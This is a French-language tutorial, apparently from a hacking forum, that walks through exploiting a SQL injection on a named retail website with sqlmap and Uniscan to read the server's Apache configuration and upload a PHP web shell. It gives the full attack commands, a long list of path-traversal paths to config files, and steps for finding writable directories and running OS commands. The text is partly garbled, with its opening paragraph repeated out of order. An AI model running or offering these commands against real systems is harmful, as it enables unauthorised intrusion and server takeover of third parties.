Après avoir entré la commande, sqlmap nous demandera quel type de remplissage nous voulons utiliser, car... dans notre cas, le site est en PHP, puis nous allons télécharger PHP-loader, sélectionner l'élément 4 et appuyer sur Entrée. Ensuite, sqlmap nous demandera de choisir où nous allons télécharger notre chargeur, et depuis... Nous connaissons déjà le chemin d'accès à notre site sur le serveur, puis sélectionnez l'élément 2, appuyez sur Entrée et indiquez le chemin d'accès au site :
/accueil/sbshop/site/

Et après cela, appuyez sur Entrée et voyez le rapport suivant :

Dans ce cas, sqlmap nous indique que nous n'avons pas de droits d'écriture sur ce dossier. Pas de problème, ce problème est assez simple à résoudre. Nous donnons la commande pour lancer Uniscan et vérifier l'écriture des fichiers et dossiers, voici la commande.

Bon, au sujet :

Spoiler : Remplissez la coquille

Nous avons une injection SQL sur le site qui ressemble à ceci :

Vous devez être inscrit pour voir les liens.


La première chose que nous voulons faire est de vérifier si nous avons les privilèges pour écrire des fichiers sur la ressource attaquée ; pour ce faire, chargez le terminal et exécutez la commande suivante :

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Cliquez sur Entrer et l'analyse de notre Injection SQL commence, le rapport ressemble à ceci :

Comme vous pouvez le voir dans le rapport, la version d'Apache, la version de MySQL et la version de l'OS installée sur le serveur sont écrites, tout cela nous sera utile dans le futur, mais surtout, vous pouvez voir que nous avons le droit d'écrire des fichiers, ceci est affiché dans la ligne L'utilisateur actuel est DBA : True

La prochaine étape pour nous consiste à obtenir les chemins pour enregistrer notre shell. Nous pouvons obtenir le chemin d'accès à notre site sur le serveur en téléchargeant le fichier httpd.conf. Nous obtenons des informations sur l'emplacement du fichier httpd.conf en utilisant Google, vous pouvez effectuer une recherche par la version du système d'exploitation installée ou par la liste des chemins les plus probables. En général, je n'entrerai pas dans les détails de la navigation sur les moteurs de recherche, juste au moment où vous avez découvert l'emplacement le plus probable du chemin d'accès au fichier, alors il est temps de télécharger ce même fichier sur votre disque, pour ce faire, saisissez ce qui suit commande et demande de lecture du fichier sur le serveur :

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Notons tout de suite qu'il n'est pas toujours possible de trouver ce fichier de configuration du premier coup, vous pouvez donc utiliser les chemins les plus probables où ce fichier peut se trouver :

LISTE DES CHEMINS POSSIBLES VERS LE FICHIER DE CONFIG :

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Nous recevons un rapport de sqlmap sous la forme suivante :


Comme vous pouvez le constater, sqlmap nous a indiqué que le fichier a la même taille que le fichier sur le serveur, nous avons donc le droit de lire ce fichier. S'il n'y avait pas suffisamment de droits pour lire ce fichier, une erreur apparaîtrait indiquant que le fichier enregistré sur notre machine a une taille différente de celle du fichier sur le serveur, ou qu'il n'y a pas de fichier sur le serveur au chemin que nous avons spécifié et qu'il n'y en a jamais. a été. Sqlmap a enregistré notre fichier dans les fichiers de rapport, et pour le lire, nous devons lancer le gestionnaire de fenêtres. Pour lancer le gestionnaire de fenêtres, nous ouvrons une autre fenêtre de terminal et saisissons la commande :

Ensuite, dans le gestionnaire qui s'ouvre, on suit le chemin où sqlmap a ajouté le fichier, c'est à dire :
/root/.sqlmap/output/sacoor.com
Ensuite, passez le curseur sur le fichier et appuyez sur le bouton F3 sur le clavier et lisez le fichier de configuration Apache :


À partir de notre fichier de configuration, nous voyons que notre site se trouve sur le serveur au chemin suivant :
/accueil/sbshop/site/

Maintenant que nous avons un peu d'informations, nous pouvons essayer de remplir le shell, pour cela nous saisissons la commande suivante :

Après avoir entré la commande, sqlmap nous demandera quel type de remplissage nous voulons utiliser, car... dans notre cas, le site est en PHP, ensuite nous mettrons en ligne Chargeur PHP, sélectionner point 4 et appuyez sur Entrée. Ensuite, sqlmap nous demandera de choisir où nous allons télécharger notre chargeur, et depuis... nous connaissons déjà le chemin d'accès à notre site sur le serveur, puis sélectionnez point 2, presse Entrer et précisez le chemin d'accès au site :
/accueil/sbshop/site/

Et après on appuie sur Entrer et nous voyons le rapport suivant :


Dans ce cas, sqlmap nous indique que nous n'avons pas de droits d'écriture sur ce dossier. Pas de problème, ce problème est assez simple à résoudre. Nous donnons la commande pour lancer Uniscan et vérifier l'écriture des fichiers et dossiers, voici la commande :

Uniscan -u http://www.sacoor.com/ -qwe

Le scanner va maintenant vérifier tous les répertoires accessibles en écriture :


Le scanner a trouvé trois répertoires avec la possibilité d'écrire des fichiers, nous essayons donc de charger à nouveau notre chargeur shell, mais cette fois d'une manière différente. Exécutez à nouveau la commande :

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

et en sélectionnant point 4(en remplissant le script PHP), précisez le chemin :
/accueil/sbshop/site/admin

Nous voyons ce qui suit.



Avez-vous aimé l'article? Partagez-le